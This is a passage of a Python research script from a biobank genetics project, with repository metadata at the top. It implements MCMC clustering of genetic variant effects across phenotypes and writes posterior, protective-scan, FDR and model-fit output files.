1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
256224783d5a53d1292f5f6fcfd305122250c18f
40,027
py
Python
gbe_browser/targeted.py
whyrg/GlobalBiobankEngine
514f16eaaae16f0459b40cd1080c9243f007ec91
[ "MIT" ]
null
null
null
gbe_browser/targeted.py
whyrg/GlobalBiobankEngine
514f16eaaae16f0459b40cd1080c9243f007ec91
[ "MIT" ]
null
null
null
gbe_browser/targeted.py
whyrg/GlobalBiobankEngine
514f16eaaae16f0459b40cd1080c9243f007ec91
[ "MIT" ]
null
null
null
from __future__ import print_function from __future__ import division from random import shuffle # Written by Manuel A. Rivas # Updated 11.28.2016 from optparse import OptionParser from collections import Counter import array import itertools import math import sys,re import os import logging from scipy.stats import binom as binomial import numpy as np import numpy.matlib import time from scipy.stats import invgamma import sklearn import sklearn.covariance # Set up basic logging logger = logging.getLogger('Log') from scipy import stats from scipy.stats import multivariate_normal import random np.seterr(divide='warn') def is_pos_def(x): i = 0 x = np.matrix(x) if np.all(np.linalg.eigvals(x) > 0): return True else: return False # return BIC -2*log(p(Data | theta that maximizes C, Mc)) + vc log(n) : vc is the number of parameters (K+J)*(C-1), K is the number of phenotypes, J is the number of genes, C is the number of clusters def mrpmm(betas,ses,vymat,annotvec,genevec,protvec,chroffvec,clusters,fout,Rphen,Rpheninv,phenidarr, Rphenuse=True, fdr=.05, niter=1000,burn=100,thinning=1,verbose=True, protectivescan = False, outpath='/Users/mrivas/', maxlor = 0.693): print("Running MCMC algorithm...") print(sys.flags.optimize) epsilon = .0000000000000001 storephensvar = [] S = vymat xi0 = 1 # hyperparameter to control spread of proposals for annotation xialpha0 = 1 betas = numpy.matrix(betas) ses = numpy.matrix(ses) S = numpy.matrix(S) Sinv = numpy.linalg.inv(S) # Let k be the number of clusters, where cluster 1 is the null model cluster C = clusters maxloglkiter = np.zeros((niter+2,1)) # Let k be the number of phenotypes k = betas.shape[1] # Let m be the number of variants m = betas.shape[0] # Initialize #Sigma0 for alternative clusters if Rphenuse: if is_pos_def(Rphen): Theta0 = Rphen Theta0inv = Rpheninv else: Theta0 = sklearn.covariance.shrunk_covariance(Rphen) Theta0inv = numpy.linalg.inv(Theta0) else: Theta0 = numpy.eye(Rphen.shape[0]) Theta0inv = numpy.linalg.inv(Theta0) #scale matrix geneset = set(genevec) genemap = list(geneset) annotset = set(annotvec) annotlen = len(annotset) annotmap = list(annotset) scales = numpy.zeros((niter+2,annotlen)) # store the mean trait value across the clusters for individuals that are members bc = numpy.zeros((niter+2,C,k)) # store the probabilities (proportions) of cluster memberships pc = numpy.zeros((niter+2,1,C)) # store the probabilities (proportions) of cluster memberships for each gene genenum = len(set(genevec)) pcj = numpy.zeros((niter+2,genenum,C)) # for each iteration keep record of the variant membership deltam = numpy.zeros((niter+2,m)) ###### Why are these stored separately? # non-normalized probabilities for each individual variant uc = numpy.zeros((niter+2,m,C)) # normalized probabilities for each individual variant ws = numpy.zeros((niter+2,m,C)) # for each iteration keep record of the variant membership tm = numpy.zeros((niter+2,m)) #sharing parameter alpha = numpy.zeros((niter+2,1)) ks = numpy.arange(1,C+1) sigmainvdict = {} sigmadict = {} thetadict = {} thetainvdict = {} for clusteriter in range(2,C+1): sigmadict[0,clusteriter] = S sigmainvdict[0,clusteriter] = Sinv thetadict[0,clusteriter] = Theta0 thetainvdict[0,clusteriter] = Theta0inv # For Metropolois Hastings sub-step : keep track of acceptance rate acceptmh1 = 0 rejectmh1 = 0 acceptmh1_postburnin = 0 rejectmh1_postburnin = 0 acceptmh3 = 0 rejectmh3 = 0 acceptmh3_postburnin = 0 rejectmh3_postburnin = 0 acceptmh2 = [0]*annotlen rejectmh2 = [0]*annotlen acceptmh2_postburnin = [0]*annotlen rejectmh2_postburnin = [0]*annotlen # initialize \alpha : sharing of clusters across genes alpha[0,:] = invgamma.rvs(1,0,1,size = 1) # initialize pc (proportions across all variants) pc[0,0,:] = np.random.dirichlet([1]*C) # initialize pcj (proportions for each gene j) for geneidx in range(0,genenum): pcj[0,geneidx,:] = np.random.dirichlet(alpha[0,0]*pc[0,0,:]) bc[0,0,:] = np.array([0]*k) for clusteridx in range(1,C): bc[0,clusteridx,:] = np.random.multivariate_normal(np.array([0]*k).T,Theta0) for scaleidx in range(0,annotlen): scales[0,scaleidx] = np.power(0.2,2) # initialize variant membership across clusters deltam[0,:] = np.random.randint(0,C,m) # protective candidate alleles protind = numpy.zeros((niter+2,m)) # Iterations MCMC samplers for iter in range(1,niter+1): gamma = 1 if iter % 500 == 0: print(iter) ## a) Update \pi_0 : Proposal centered around the current value, Set gamma to 1 , how to set gamma? ## mhstep1 pcproposal = np.random.dirichlet(alpha[iter-1,0]*pc[iter-1,0,:]) # lnormDprop = math.lgamma(np.sum([alpha[iter-1,0]*i for i in pcproposal])) - np.sum([math.lgamma(max(alpha[iter-1,0]*i,epsilon)) for i in pcproposal]) lnormDprop = math.lgamma(np.sum([gamma*i for i in pcproposal])) - np.sum([math.lgamma(max(gamma*i,epsilon)) for i in pcproposal]) # second part of density # densitypropb = np.sum([(alpha[iter-1,0]*pcproposal[i] - 1)*np.log(pc[iter-1,0,i]) for i in range(0,C)]) densitypropb = np.sum([(gamma*pcproposal[i] - 1)*np.log(pc[iter-1,0,i]) for i in range(0,C)]) lpdirprop = lnormDprop + densitypropb #go through each gene lpdirpropgene = 0 lnormDprop = math.lgamma(np.sum([alpha[iter-1,0]*i for i in pcproposal])) - np.sum([math.lgamma(max(alpha[iter-1,0]*i,epsilon)) for i in pcproposal]) for geneidx in range(0,genenum): # second part of density densitypropb = np.sum([(alpha[iter-1,0]*pcproposal[i] - 1)*np.log(pcj[iter-1,geneidx,i]) for i in range(0,C)]) lpdirpropgene += densitypropb + lnormDprop lpdirnum = lpdirprop + lpdirpropgene # denominator, iteration - 1 pc # lnormD = math.lgamma(np.sum([alpha[iter-1,0]*i for i in pc[iter-1,0,:]])) - np.sum([math.lgamma(max(alpha[iter-1,0]*i,epsilon)) for i in pc[iter-1,0,:]]) lnormD = math.lgamma(np.sum([gamma*i for i in pc[iter-1,0,:]])) - np.sum([math.lgamma(max(gamma*i,epsilon)) for i in pc[iter-1,0,:]]) # second part of density densityb = np.sum([(gamma*pc[iter-1,0,i] - 1)*np.log(pcproposal[i]) for i in range(0,C)]) lpdir = lnormD + densityb #go through each gene lpdirgene = 0 lnormD = math.lgamma(np.sum([alpha[iter-1,0]*i for i in pc[iter-1,0,:]])) - np.sum([math.lgamma(max(alpha[iter-1,0]*i,epsilon)) for i in pc[iter-1,0,:]]) for geneidx in range(0,genenum): # second part of density densityb = np.sum([(alpha[iter-1,0]*pc[iter-1,0,i] - 1)*np.log(pcj[iter-1,geneidx,i]) for i in range(0,C)]) lpdirgene += densityb + lnormD lpdirdenom = lpdir + lpdirgene lpdir = lpdirnum - lpdirdenom ## Metropolis-Hastings step if numpy.log(np.random.uniform(0,1,size = 1)[0]) < min(0, lpdir): acceptmh1 += 1 pc[iter,0,:] = pcproposal if iter > burn: acceptmh1_postburnin += 1 else: rejectmh1 += 1 pc[iter,0,:] = pc[iter-1,0,:] if iter > burn: rejectmh1_postburnin += 1 # b) For each gene j = 1, ..., J update \pi_j for geneidx in range(0,genenum): paramvecshared = alpha[iter-1,0]*pc[iter,0,:] for geneiter in range(0,len(genevec)): if genevec[geneiter] == genemap[geneidx]: paramvecshared[int(deltam[iter-1,geneiter])] += 1 pcj[iter,geneidx,:] = np.random.dirichlet(paramvecshared) # c) Update delta_jm xk = numpy.arange(0,C) for varidx in range(0,m): probmjc = [0]*C lprobmjcu = [0]*C uc = [0]*C varannot = annotvec[varidx] annotidx = [i for i in range(0,annotlen) if annotmap[i] == varannot][0] genevar = genevec[varidx] geneid = [i for i in range(0,len(genemap)) if genemap[i] == genevar][0] atmp = np.array(ses[varidx,:])[0] dtmp = numpy.matlib.eye(len(atmp)) np.fill_diagonal(dtmp,atmp) Vjm = dtmp*S*dtmp + np.matlib.eye(S.shape[0])*.000001 # Gives covariance matrix of variant effect on sets of phenotypes (after fixed effect meta-analysis has been applied across all studies available) for cidx in range(0,C): llk2 = multivariate_normal.logpdf(betas[varidx,:],np.sqrt(scales[iter-1,annotidx])*bc[iter-1,cidx,:],Vjm) + np.log(pcj[iter,geneid,cidx]) if int(deltam[iter-1,varidx]) == cidx: maxloglkiter[iter-1,0] += llk2 lprobmjcu[cidx] += llk2 #normalize uc - set to wc maxloglk = numpy.max(lprobmjcu) for cidx in range(0,C): uc[cidx] = numpy.exp(lprobmjcu[cidx] - maxloglk) for cidx in range(0,C): probmjc[cidx] = uc[cidx]/numpy.sum(uc) if numpy.isnan(probmjc[0]): wstmp = numpy.random.dirichlet(numpy.repeat(numpy.array([1]),C,axis = 0)) custm = stats.rv_discrete(name='custm',values=(xk,wstmp)) else: custm = stats.rv_discrete(name='custm',values=(xk,probmjc)) deltam[iter,varidx] = int(custm.rvs(size=1)[0]) if protectivescan: protbool = 0 protadverse = 0 for tmptidx in range(0, k): if np.sqrt(scales[iter-1,annotidx])*bc[iter-1,int(deltam[iter,varidx]),tmptidx] >= maxlor: protadverse = 1 if np.sqrt(scales[iter-1,annotidx])*bc[iter-1,int(deltam[iter,varidx]),tmptidx] < -.1: protbool = 1 if protbool == 1 and protadverse == 0: protind[iter,varidx] = 1 # d) Update b_c using a Gibbs update from a Gaussian distribution for cidx in range(1,C): cnt = 0 mucurrenttmp1 = 0 varcurrenttmp1 = 0 mucurrenttmp2 = 0*betas[0,:] mucurrenttmp2 = mucurrenttmp2.T for varidx in range(0,m): if int(deltam[iter,varidx]) == cidx: cnt += 1 if cnt == 1: varannot = annotvec[varidx] annotidx = [i for i in range(0,annotlen) if annotmap[i] == varannot][0] atmp = np.array(ses[varidx,:])[0] dtmp = numpy.matlib.eye(len(atmp)) np.fill_diagonal(dtmp,atmp) Vjmtmp = dtmp*S*dtmp + np.matlib.eye(S.shape[0])*.000001 Vjminvtmp = np.linalg.inv(Vjmtmp) mucurrenttmp1 = scales[iter-1,annotidx]*Vjminvtmp mucurrenttmp2 = np.sqrt(scales[iter-1,annotidx])*Vjminvtmp*betas[varidx,:].T varcurrenttmp1 = scales[iter-1,annotidx]*Vjminvtmp else: varannot = annotvec[varidx] annotidx = [i for i in range(0,annotlen) if annotmap[i] == varannot][0] atmp = np.array(ses[varidx,:])[0] dtmp = numpy.matlib.eye(len(atmp)) np.fill_diagonal(dtmp,atmp) Vjmtmp = dtmp*S*dtmp + np.matlib.eye(S.shape[0])*.000001 Vjminvtmp = np.linalg.inv(Vjmtmp) mucurrenttmp1 += scales[iter-1,annotidx]*Vjminvtmp mucurrenttmp2 += np.sqrt(scales[iter-1,annotidx])*Vjminvtmp*betas[varidx,:].T varcurrenttmp1 += scales[iter-1,annotidx]*Vjminvtmp mucurrenttmp1 += Theta0inv varcurrenttmp1 += Theta0inv meanparam = np.ravel(np.linalg.inv(mucurrenttmp1)*mucurrenttmp2) varparam = np.linalg.inv(varcurrenttmp1) bc[iter,cidx,:] = np.random.multivariate_normal(meanparam,varparam) # e) Update scale sigma^2 annot. for annotidx in range(0,annotlen): scaleprop = abs(np.random.normal(np.sqrt(scales[iter-1,annotidx]),xi0,size = 1)[0]) annotdata = annotmap[annotidx] probnum1 = stats.invgamma.logpdf(np.power(scaleprop,2),1,scale=1) probdenom1 = stats.invgamma.logpdf(scales[iter-1,annotidx],1,scale=1) lnum2 = 0 ldenom2 = 0 for varidx in range(0,m): if annotvec[varidx] == annotdata: atmp = np.array(ses[varidx,:])[0] dtmp = numpy.matlib.eye(len(atmp)) np.fill_diagonal(dtmp,atmp) Vjm = dtmp*S*dtmp + np.matlib.eye(S.shape[0])*.000001 cidx = int(deltam[iter,varidx]) # print(cidx,iter,varidx) lnum2 += multivariate_normal.logpdf(betas[varidx,:],scaleprop*bc[iter,cidx,:],Vjm) ldenom2 += multivariate_normal.logpdf(betas[varidx,:],np.sqrt(scales[iter-1,annotidx])*bc[iter,cidx,:],Vjm) ## Metropolis-Hastings step if np.log(np.random.uniform(0,1,size = 1)[0]) < min(0, (lnum2 + probnum1) - (probdenom1 + ldenom2)): acceptmh2[annotidx] += 1 scales[iter,annotidx] = np.power(scaleprop,2) if iter > burn: acceptmh2_postburnin[annotidx] += 1 else: rejectmh2[annotidx] += 1 scales[iter,annotidx] = scales[iter-1,annotidx] if iter > burn: rejectmh2_postburnin[annotidx] += 1 # f) alpha alphaprop = abs(np.random.normal(alpha[iter-1,0],xialpha0,size = 1)[0]) alphanum = -2*np.log(alphaprop) - 1/alphaprop alphadenom = -2*np.log(alpha[iter-1,0]) - 1/alpha[iter-1,0] alphanum2 = 0 alphadenom2 = 0 lnormDprop = 0 lpdirpropgene = 0 lnormDliter = 0 lpdirlgene = 0 densitypropa = 0 densitya = 0 lnormDprop = math.lgamma(np.sum([alphaprop*i for i in pc[iter,0,:]])) - np.sum([math.lgamma(max(alphaprop*i,epsilon)) for i in pc[iter,0,:]]) lnormDliter = math.lgamma(np.sum([alpha[iter-1,0]*i for i in pc[iter,0,:]])) - np.sum([math.lgamma(max(alpha[iter-1,0]*i,epsilon)) for i in pc[iter,0,:]]) for geneidx in range(0,genenum): densitypropa = np.sum([(alphaprop*pc[iter,0,:] - 1)*np.log(pcj[iter-1,geneidx,i]) for i in range(0,C)]) lpdirpropgene += densitypropa + lnormDprop densitya = np.sum([(alpha[iter-1,0]*pc[iter,0,:] - 1)*np.log(pcj[iter-1,geneidx,i]) for i in range(0,C)]) lpdirlgene += densitya + lnormDliter ladirnum = alphanum + lpdirpropgene ladirdenom = alphadenom + lpdirlgene ladir = ladirnum - ladirdenom ## Metropolis-Hastings step if numpy.log(np.random.uniform(0,1,size = 1)[0]) < min(0, ladir): acceptmh3 += 1 alpha[iter,:] = alphaprop if iter > burn: acceptmh3_postburnin += 1 else: rejectmh3 += 1 alpha[iter,:] = alpha[iter-1,:] if iter > burn: rejectmh3_postburnin += 1 ## Write output for input files mcout = open(outpath + str(fout) + '.mcmc.posteriors','w+') varprobdict = {} test5 = open('test5.1.txt','w') for varidx in range(0,m): mcout.write(chroffvec[varidx] + '\t' + annotvec[varidx] + '\t' + protvec[varidx] + '\t' + genevec[varidx] + '\t' + str(genevec[varidx] + ':' + annotvec[varidx] + ':' + protvec[varidx])) for cidx in range(0,C): probclustervar = numpy.where(deltam[burn+1:niter+1,varidx] == cidx)[0].shape[0]/(niter - burn) varprobdict[chroffvec[varidx],cidx + 1] = probclustervar mcout.write('\t' + str(probclustervar)) mcout.write('\n') mcout.close() ## Write output for protective scan if protectivescan: protout = open(outpath + str(fout) + '.mcmc.protective','w+') for varidx in range(0,m): protout.write(chroffvec[varidx] + '\t' + annotvec[varidx] + '\t' + protvec[varidx] + '\t' + genevec[varidx] + '\t' + str(genevec[varidx] + ':' + annotvec[varidx] + ':' + protvec[varidx])) protdattmp = numpy.where(protind[burn+1:niter+1,varidx] == 1)[0].shape[0]/(niter - burn) protout.write('\t' + str(protdattmp)) protout.write('\n') protout.close() fdrout = open(outpath + str(fout) + '.fdr','w+') print(str(fdr),file = fdrout) varprobnull = [] varfdrid = [] for varidx in range(0,m): varfdrid.append(chroffvec[varidx]) varprobnull.append(varprobdict[chroffvec[varidx],1]) idxsort = sorted(range(len(varprobnull)), key=lambda k: varprobnull[k]) varprobnullsort = [varprobnull[i] for i in idxsort] varfdridsort = [varfdrid[i] for i in idxsort] numfdrtmp = 0 counter = 0 varlfdr = [] for i in range(0,len(varprobnullsort)): counter += 1 numfdrtmp += varprobnullsort[i] fdrtmp = numfdrtmp/counter if fdrtmp <= fdr: print(varfdridsort[i], file = fdrout) fdrout.close() rejectionrate = rejectmh1_postburnin/(acceptmh1_postburnin + rejectmh1_postburnin) logger.info(("Your acceptance rate is %2.2f") % ( rejectmh1_postburnin/(acceptmh1_postburnin + rejectmh1_postburnin))) genedatm50 = {} genedatl95 = {} genedatu95 = {} if verbose: probout = fout + '.mcmc.probs' numpy.savetxt(outpath + probout, deltam, fmt='%1.3f') bcout = open(outpath + str(fout) + '.mcmc.bc','w+') bcout.write('cluster') for i in range(0,len(phenidarr)): print(("\t%s\t%s\t%s") % (phenidarr[i] + 'm50',phenidarr[i] + 'l95', phenidarr[i] + 'u95'), end = '', file = bcout) bcout.write('\n') for cidx in range(0,C): mean = numpy.mean(bc[burn+1:niter+1:thinning,cidx,:],axis = 0) l95ci = numpy.percentile(bc[burn+1:niter+1:thinning,cidx,:],2.5, axis = 0) u95ci = numpy.percentile(bc[burn+1:niter+1:thinning,cidx,:],97.5, axis = 0) bcout.write(str(cidx)) for phenidx in range(0,mean.shape[0]): print(("\t%2.2f\t%2.2f\t%2.2f") % (mean[phenidx], l95ci[phenidx], u95ci[phenidx]), end = '', file = bcout) bcout.write('\n') bcout.close() scaleout = open(outpath + str(fout) + '.mcmc.scale','w+') for annotidx in range(0,annotlen): mean = numpy.mean(np.sqrt(scales[burn+1:niter+1:thinning,annotidx]),axis = 0) l95ci = numpy.percentile(np.sqrt(scales[burn+1:niter+1:thinning,annotidx]),2.5, axis = 0) u95ci = numpy.percentile(np.sqrt(scales[burn+1:niter+1:thinning,annotidx]),97.5, axis = 0) print(("%s\t%s\t%2.2f\t%2.2f\t%2.2f") % (str(annotidx),annotmap[annotidx],mean,l95ci,u95ci), file = scaleout) scaleout.close() tmpbc = open(outpath + str(fout) + '.theta.bc', 'w+') for jidx in range(0,k): for kidx in range(0,k): print(Theta0[jidx,kidx], file = tmpbc,end = ' ') print('\n',end='',file=tmpbc) tmpbc.close() genesdict = {} for geneidx in range(0,genenum): genesdict[genemap[geneidx]] = genemap[geneidx] genedatm50[genemap[geneidx]] = np.percentile(pcj[burn+1:niter+1:thinning,geneidx,:],50, axis=0) genedatl95[genemap[geneidx]] = np.percentile(pcj[burn+1:niter+1:thinning,geneidx,:], 2.5, axis=0) genedatu95[genemap[geneidx]] = np.percentile(pcj[burn+1:niter+1:thinning,geneidx,:], 97.5, axis=0) alphaout = open(outpath + str(fout) + '.mcmc.alpha','w+') mean = numpy.mean(alpha[burn+1:niter+1:thinning,0],axis = 0) l95ci = numpy.percentile(alpha[burn+1:niter+1:thinning,0],2.5, axis = 0) u95ci = numpy.percentile(alpha[burn+1:niter+1:thinning,0],97.5, axis = 0) print(("%2.2f\t%2.2f\t%2.2f") % (mean,l95ci,u95ci), file = alphaout) alphaout.close() maxllkiter = np.max(maxloglkiter[burn+1:niter:thinning,0]) BIC = -2*maxllkiter + (k+ genenum)*(C-1)*np.log(m) AIC = -2*maxllkiter + (k+ genenum)*(C-1)*2 geneout = open(outpath + str(fout) + '.mcmc.gene.posteriors','w+') for genekey in genesdict.keys(): print(genekey, file = geneout, end = '') for i in range(0,len(genedatm50[genekey])): print(("\t%2.2f") % (genedatm50[genekey][i]), file = geneout, end = '') for i in range(0,len(genedatl95[genekey])): print(("\t%2.2f") % (genedatl95[genekey][i]), file = geneout, end = '') for i in range(0,len(genedatu95[genekey])): print(("\t%2.2f") % (genedatu95[genekey][i]), file = geneout, end = '') geneout.write("\n") geneout.close() return [BIC,AIC,genedatm50] def targeted(betas,ses,vymat,annotvec,genevec,protvec,chroffvec,clusters,fout,Rphen,Rpheninv,Rphenuse=True,niter=1000,burn=100,thinning=1,verbose=True, maxlor = 0.693): print("Running MCMC algorithm...") epsilon = .0000000000000001 storephensvar = [] S = vymat xi0 = 1 # hyperparameter to control spread of proposals for annotation xialpha0 = 1 betas = numpy.matrix(betas) ses = numpy.matrix(ses) S = numpy.matrix(S) Sinv = numpy.linalg.inv(S) # Let k be the number of clusters, where cluster 1 is the null model cluster C = clusters maxloglkiter = np.zeros((niter+2,1)) # Let k be the number of phenotypes k = betas.shape[1] # Let m be the number of variants m = betas.shape[0] # Initialize #Sigma0 for alternative clusters if Rphenuse: if is_pos_def(Rphen): Theta0 = Rphen Theta0inv = Rpheninv else: Theta0 = sklearn.covariance.shrunk_covariance(Rphen) Theta0inv = numpy.linalg.inv(Theta0) else: Theta0 = numpy.eye(Rphen.shape[0]) Theta0inv = numpy.linalg.inv(Theta0) #scale matrix geneset = set(genevec) genemap = list(geneset) annotset = set(annotvec) annotlen = len(annotset) annotmap = list(annotset) scales = numpy.zeros((niter+2,annotlen)) # store the mean trait value across the clusters for individuals that are members bc = numpy.zeros((niter+2,C,k)) # store the probabilities (proportions) of cluster memberships pc = numpy.zeros((niter+2,1,C)) # store the probabilities (proportions) of cluster memberships for each gene genenum = len(set(genevec)) pcj = numpy.zeros((niter+2,genenum,C)) # for each iteration keep record of the variant membership deltam = numpy.zeros((niter+2,m)) # non-normalized probabilities for each individual variant uc = numpy.zeros((niter+2,m,C)) # normalized probabilities for each individual variant ws = numpy.zeros((niter+2,m,C)) # for each iteration keep record of the variant membership tm = numpy.zeros((niter+2,m)) #sharing parameter alpha = numpy.zeros((niter+2,1)) ks = numpy.arange(1,C+1) # prot scan array protind = numpy.zeros((niter+2,m)) sigmainvdict = {} sigmadict = {} thetadict = {} thetainvdict = {} for clusteriter in range(2,C+1): sigmadict[0,clusteriter] = S sigmainvdict[0,clusteriter] = Sinv thetadict[0,clusteriter] = Theta0 thetainvdict[0,clusteriter] = Theta0inv # For Metropolois Hastings sub-step : keep track of acceptance rate acceptmh1 = 0 rejectmh1 = 0 acceptmh1_postburnin = 0 rejectmh1_postburnin = 0 acceptmh3 = 0 rejectmh3 = 0 acceptmh3_postburnin = 0 rejectmh3_postburnin = 0 acceptmh2 = [0]*annotlen rejectmh2 = [0]*annotlen acceptmh2_postburnin = [0]*annotlen rejectmh2_postburnin = [0]*annotlen # initialize \alpha : sharing of clusters across genes alpha[0,:] = invgamma.rvs(1,0,1,size = 1) # initialize pc (proportions across all variants) pc[0,0,:] = np.random.dirichlet([1]*C) # initialize pcj (proportions for each gene j) for geneidx in range(0,genenum): pcj[0,geneidx,:] = np.random.dirichlet(alpha[0,0]*pc[0,0,:]) bc[0,0,:] = np.array([0]*k) for clusteridx in range(1,C): bc[0,clusteridx,:] = np.random.multivariate_normal(np.array([0]*k).T,Theta0) for scaleidx in range(0,annotlen): scales[0,scaleidx] = np.power(0.2,2) # initialize variant membership across clusters deltam[0,:] = np.random.randint(0,C,m) # Iterations MCMC samplers for iter in range(1,niter+1): gamma = 1 if iter % 100 == 0: print(iter) ## a) Update \pi_0 : Proposal centred around the current value, Set gamma to 1 , how to set gamma? ## mhstep1 pcproposal = np.random.dirichlet(alpha[iter-1,0]*pc[iter-1,0,:]) # lnormDprop = math.lgamma(np.sum([alpha[iter-1,0]*i for i in pcproposal])) - np.sum([math.lgamma(max(alpha[iter-1,0]*i,epsilon)) for i in pcproposal]) lnormDprop = math.lgamma(np.sum([gamma*i for i in pcproposal])) - np.sum([math.lgamma(max(gamma*i,epsilon)) for i in pcproposal]) # second part of density # densitypropb = np.sum([(alpha[iter-1,0]*pcproposal[i] - 1)*np.log(pc[iter-1,0,i]) for i in range(0,C)]) densitypropb = np.sum([(gamma*pcproposal[i] - 1)*np.log(pc[iter-1,0,i]) for i in range(0,C)]) lpdirprop = lnormDprop + densitypropb #go through each gene lpdirpropgene = 0 lnormDprop = math.lgamma(np.sum([alpha[iter-1,0]*i for i in pcproposal])) - np.sum([math.lgamma(max(alpha[iter-1,0]*i,epsilon)) for i in pcproposal]) for geneidx in range(0,genenum): # second part of density densitypropb = np.sum([(alpha[iter-1,0]*pcproposal[i] - 1)*np.log(pcj[iter-1,geneidx,i]) for i in range(0,C)]) lpdirpropgene += densitypropb + lnormDprop lpdirnum = lpdirprop + lpdirpropgene # denominator, iteration - 1 pc # lnormD = math.lgamma(np.sum([alpha[iter-1,0]*i for i in pc[iter-1,0,:]])) - np.sum([math.lgamma(max(alpha[iter-1,0]*i,epsilon)) for i in pc[iter-1,0,:]]) lnormD = math.lgamma(np.sum([gamma*i for i in pc[iter-1,0,:]])) - np.sum([math.lgamma(max(gamma*i,epsilon)) for i in pc[iter-1,0,:]]) # second part of density densityb = np.sum([(gamma*pc[iter-1,0,i] - 1)*np.log(pcproposal[i]) for i in range(0,C)]) lpdir = lnormD + densityb #go through each gene lpdirgene = 0 lnormD = math.lgamma(np.sum([alpha[iter-1,0]*i for i in pc[iter-1,0,:]])) - np.sum([math.lgamma(max(alpha[iter-1,0]*i,epsilon)) for i in pc[iter-1,0,:]]) for geneidx in range(0,genenum): # second part of density densityb = np.sum([(alpha[iter-1,0]*pc[iter-1,0,i] - 1)*np.log(pcj[iter-1,geneidx,i]) for i in range(0,C)]) lpdirgene += densityb + lnormD lpdirdenom = lpdir + lpdirgene lpdir = lpdirnum - lpdirdenom ## Metropolis-Hastings step if numpy.log(np.random.uniform(0,1,size = 1)[0]) < min(0, lpdir): acceptmh1 += 1 pc[iter,0,:] = pcproposal if iter > burn: acceptmh1_postburnin += 1 else: rejectmh1 += 1 pc[iter,0,:] = pc[iter-1,0,:] if iter > burn: rejectmh1_postburnin += 1 # b) For each gene j = 1, ..., J update \pi_j for geneidx in range(0,genenum): paramvecshared = alpha[iter-1,0]*pc[iter,0,:] for geneiter in range(0,len(genevec)): if genevec[geneiter] == genemap[geneidx]: paramvecshared[deltam[iter-1,geneiter]] += 1 pcj[iter,geneidx,:] = np.random.dirichlet(paramvecshared) # c) Update delta_jm xk = numpy.arange(0,C) for varidx in range(0,m): probmjc = [0]*C lprobmjcu = [0]*C uc = [0]*C varannot = annotvec[varidx] annotidx = [i for i in range(0,annotlen) if annotmap[i] == varannot][0] genevar = genevec[varidx] geneid = [i for i in range(0,len(genemap)) if genemap[i] == genevar][0] atmp = np.array(ses[varidx,:])[0] dtmp = numpy.matlib.eye(len(atmp)) np.fill_diagonal(dtmp,atmp) Vjm = dtmp*S*dtmp + np.matlib.eye(S.shape[0])*np.finfo(float).eps # Gives covariance matrix of variant effect on sets of phenotypes (after fixed effect meta-analysis has been applied across all studies available) for cidx in range(0,C): llk2 = multivariate_normal.logpdf(betas[varidx,:],np.sqrt(scales[iter-1,annotidx])*bc[iter-1,cidx,:],Vjm) + np.log(pcj[iter,geneid,cidx]) if deltam[iter-1,varidx] == cidx: maxloglkiter[iter-1,0] += llk2 lprobmjcu[cidx] += llk2 #normalize uc - set to wc maxloglk = numpy.max(lprobmjcu) for cidx in range(0,C): uc[cidx] = numpy.exp(lprobmjcu[cidx] - maxloglk) for cidx in range(0,C): probmjc[cidx] = uc[cidx]/numpy.sum(uc) if numpy.isnan(probmjc[0]): wstmp = numpy.random.dirichlet(numpy.repeat(numpy.array([1]),C,axis = 0)) custm = stats.rv_discrete(name='custm',values=(xk,wstmp)) else: custm = stats.rv_discrete(name='custm',values=(xk,probmjc)) deltam[iter,varidx] = custm.rvs(size=1)[0] protbool = 0 protadverse = 0 for tmptidx in range(0, k): if np.sqrt(scales[iter-1,annotidx])*bc[iter-1,deltam[iter,varidx],tmptidx] >= maxlor: protadverse = 1 if np.sqrt(scales[iter-1,annotidx])*bc[iter-1,deltam[iter,varidx],tmptidx] < -.1: protbool = 1 if protbool == 1 and protadverse == 0: protind[iter,varidx] = 1 # d) Update b_c using a Gibbs update from a Gaussian distribution for cidx in range(1,C): cnt = 0 mucurrenttmp1 = 0 varcurrenttmp1 = 0 mucurrenttmp2 = 0*betas[0,:] mucurrenttmp2 = mucurrenttmp2.T for varidx in range(0,m): if deltam[iter,varidx] == cidx: cnt += 1 if cnt == 1: varannot = annotvec[varidx] annotidx = [i for i in range(0,annotlen) if annotmap[i] == varannot][0] atmp = np.array(ses[varidx,:])[0] dtmp = numpy.matlib.eye(len(atmp)) np.fill_diagonal(dtmp,atmp) Vjmtmp = dtmp*S*dtmp + np.matlib.eye(S.shape[0])*.000001 Vjminvtmp = np.linalg.inv(Vjmtmp) mucurrenttmp1 = scales[iter-1,annotidx]*Vjminvtmp mucurrenttmp2 = np.sqrt(scales[iter-1,annotidx])*Vjminvtmp*betas[varidx,:].T varcurrenttmp1 = scales[iter-1,annotidx]*Vjminvtmp else: varannot = annotvec[varidx] annotidx = [i for i in range(0,annotlen) if annotmap[i] == varannot][0] atmp = np.array(ses[varidx,:])[0] dtmp = numpy.matlib.eye(len(atmp)) np.fill_diagonal(dtmp,atmp) Vjmtmp = dtmp*S*dtmp + np.matlib.eye(S.shape[0])*.000001 Vjminvtmp = np.linalg.inv(Vjmtmp) mucurrenttmp1 += scales[iter-1,annotidx]*Vjminvtmp mucurrenttmp2 += np.sqrt(scales[iter-1,annotidx])*Vjminvtmp*betas[varidx,:].T varcurrenttmp1 += scales[iter-1,annotidx]*Vjminvtmp mucurrenttmp1 += Theta0inv varcurrenttmp1 += Theta0inv meanparam = np.ravel(np.linalg.inv(mucurrenttmp1)*mucurrenttmp2) varparam = np.linalg.inv(varcurrenttmp1) bc[iter,cidx,:] = np.random.multivariate_normal(meanparam,varparam) # e) Update scale sigma^2 annot. for annotidx in range(0,annotlen): scaleprop = abs(np.random.normal(np.sqrt(scales[iter-1,annotidx]),xi0,size = 1)[0]) annotdata = annotmap[annotidx] probnum1 = stats.invgamma.logpdf(np.power(scaleprop,2),1,scale=1) probdenom1 = stats.invgamma.logpdf(scales[iter-1,annotidx],1,scale=1) lnum2 = 0 ldenom2 = 0 for varidx in range(0,m): if annotvec[varidx] == annotdata: atmp = np.array(ses[varidx,:])[0] dtmp = numpy.matlib.eye(len(atmp)) np.fill_diagonal(dtmp,atmp) Vjm = dtmp*S*dtmp + np.matlib.eye(S.shape[0])*np.finfo(float).eps cidx = deltam[iter,varidx] lnum2 += multivariate_normal.logpdf(betas[varidx,:],scaleprop*bc[iter,cidx,:],Vjm) ldenom2 += multivariate_normal.logpdf(betas[varidx,:],np.sqrt(scales[iter-1,annotidx])*bc[iter,cidx,:],Vjm) ## 